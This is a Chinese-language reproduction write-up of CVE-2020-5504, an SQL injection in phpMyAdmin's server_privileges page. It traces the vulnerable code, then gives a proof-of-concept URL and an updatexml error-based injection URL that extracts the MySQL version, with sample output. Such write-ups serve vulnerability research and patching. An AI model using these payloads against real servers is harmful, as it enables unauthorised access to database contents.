# CVE-2020-5504 Phpmyadmin 后台sql注入漏洞

### 一、漏洞简介

在用户帐户页面中发现了一个SQL注入漏洞。创建对此页面的查询时，恶意用户可能会注入自定义SQL来代替其自己的用户名。攻击者必须具有有效的MySQL帐户才能访问服务器。

### 二、漏洞影响

Phpmyadmin <= 5.00

Phpmyadmin <= 4.94

### 三、复现过程

**环境搭建**

docker一把梭


```
docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.6
docker run --name myadmin -d --link mysql5.7:db -p 8080:80 phpmyadmin/phpmyadmin:5.0
```

溯源和构造poc

下载前一个版本 5.0.0的代码压缩包后, 打开libraries/classes/Server/Privileges.php 来到对应行.


```php
if (isset($_GET['validate_username'])) {
            $sql_query = "SELECT * FROM `mysql`.`user` WHERE `User` = '"
                . $_GET['username'] . "';";
            // 省略 节省篇幅
        }
```

很显然可以看出注入点是`$_GET['username']`,而需要设置`$_GET['validate_username']`

往上看, 这段代码位于public function getExtraDataForAjaxBehavior函数.

搜索上层调用来到/server_privileges.php 的这段代码


```php
if ($response->isAjax()
    && empty($_REQUEST['ajax_page_request'])
    && ! isset($_GET['export'])
    && (! isset($_POST['submit_mult']) || $_POST['submit_mult'] != 'export')
    && ((! isset($_GET['initial']) || $_GET['initial'] === null
    || $_GET['initial'] === '')
    || (isset($_POST['delete']) && $_POST['delete'] === __('Go')))
    && ! isset($_GET['showall'])
    && ! isset($_GET['edit_user_group_dialog'])
) {
    $extra_data = $serverPrivileges->getExtraDataForAjaxBehavior(
        (isset($password) ? $password : ''),
        (isset($sql_query) ? $sql_query : ''),
        (isset($hostname) ? $hostname : ''),
        (isset($username) ? $username : '')
    );

    if (! empty($message) && $message instanceof Message) {
        $response->setRequestStatus($message->isSuccess());
        $response->addJSON('message', $message);
        $response->addJSON($extra_data);
        exit;
    }
}
```

可以发现if里大部分条件都可控, 除了$response->isAjax()


```php
public function isAjax(): bool
    {
        return $this->_isAjax;
    }
```

查看构造函数


```php
/**
     * Creates a new class instance
     */
    private function __construct()
    {
        if (! defined('TESTSUITE')) {
            $buffer = OutputBuffering::getInstance();
            $buffer->start();
            register_shutdown_function([$this, 'response']);
        }
        $this->_header = new Header();
        $this->_HTML   = '';
        $this->_JSON   = [];
        $this->_footer = new Footer();

        $this->_isSuccess  = true;
        $this->_isDisabled = false;
        $this->setAjax(! empty($_REQUEST['ajax_request']));
        $this->_CWD = getcwd();
    }
```

可以看到这条件在于`$_REQUEST['ajax_request']`是否为空.

根据上面的几个条件 我们可以构造出如下最简单的poc


```
http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%22
```

登陆后(这个操作需要权限) 尝试访问上面的url.返回如下


```json
{"success":false,"error":"<div class=\"error\"><h1>Error<\/h1><p><strong>Static analysis:<\/strong><\/p><p>1 errors were found during analysis.<\/p><p><ol><li>Ending quote \" was expected. (near \"\" at position 53)<\/li><\/ol><\/p><p><strong>SQL query:<\/strong>  <a href=\"#\" class=\"copyQueryBtn\" data-text=\"SELECT * FROM `mysql`.`user` WHERE `User` = 'test'&quot;';\">Copy<\/a>\n<a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Fselect.html\" target=\"mysql_doc\"><img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"><\/a><a href=\"server_sql.php?sql_query=SELECT+%2A+FROM+%60mysql%60.%60user%60+WHERE+%60User%60+%3D+%27test%27%22%27%3B&amp;show_query=1\"><span class=\"nowrap\"><img src=\"themes\/dot.gif\" title=\"Edit\" alt=\"Edit\" class=\"icon ic_b_edit\">&nbsp;Edit<\/span><\/a>    <\/p>\n<p>\nSELECT * FROM `mysql`.`user` WHERE `User` = 'test'&quot;';\n<\/p>\n<p>\n    <strong>MySQL said: <\/strong><a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Ferror-messages-server.html\" target=\"mysql_doc\"><img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"><\/a>\n<\/p>\n<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '&quot;'' at line 1<\/code><br><\/div>"}
```

一个sql报错信息, 说明这个最短poc生效了

利用的话 反正都回显了 直接updatexml报错注入


```bash
http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%20and%20(select%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1))%20--%20
```

在返回最下面可以看到#1105 - XPATH syntax error: '~5.6.46~'

### 后言

这个洞要求一个可以登录的账号才能注入. , 另外这个请求似乎也不需要csrf-token(不过似乎没什么用)

**参考链接**

https://xz.aliyun.com/t/7092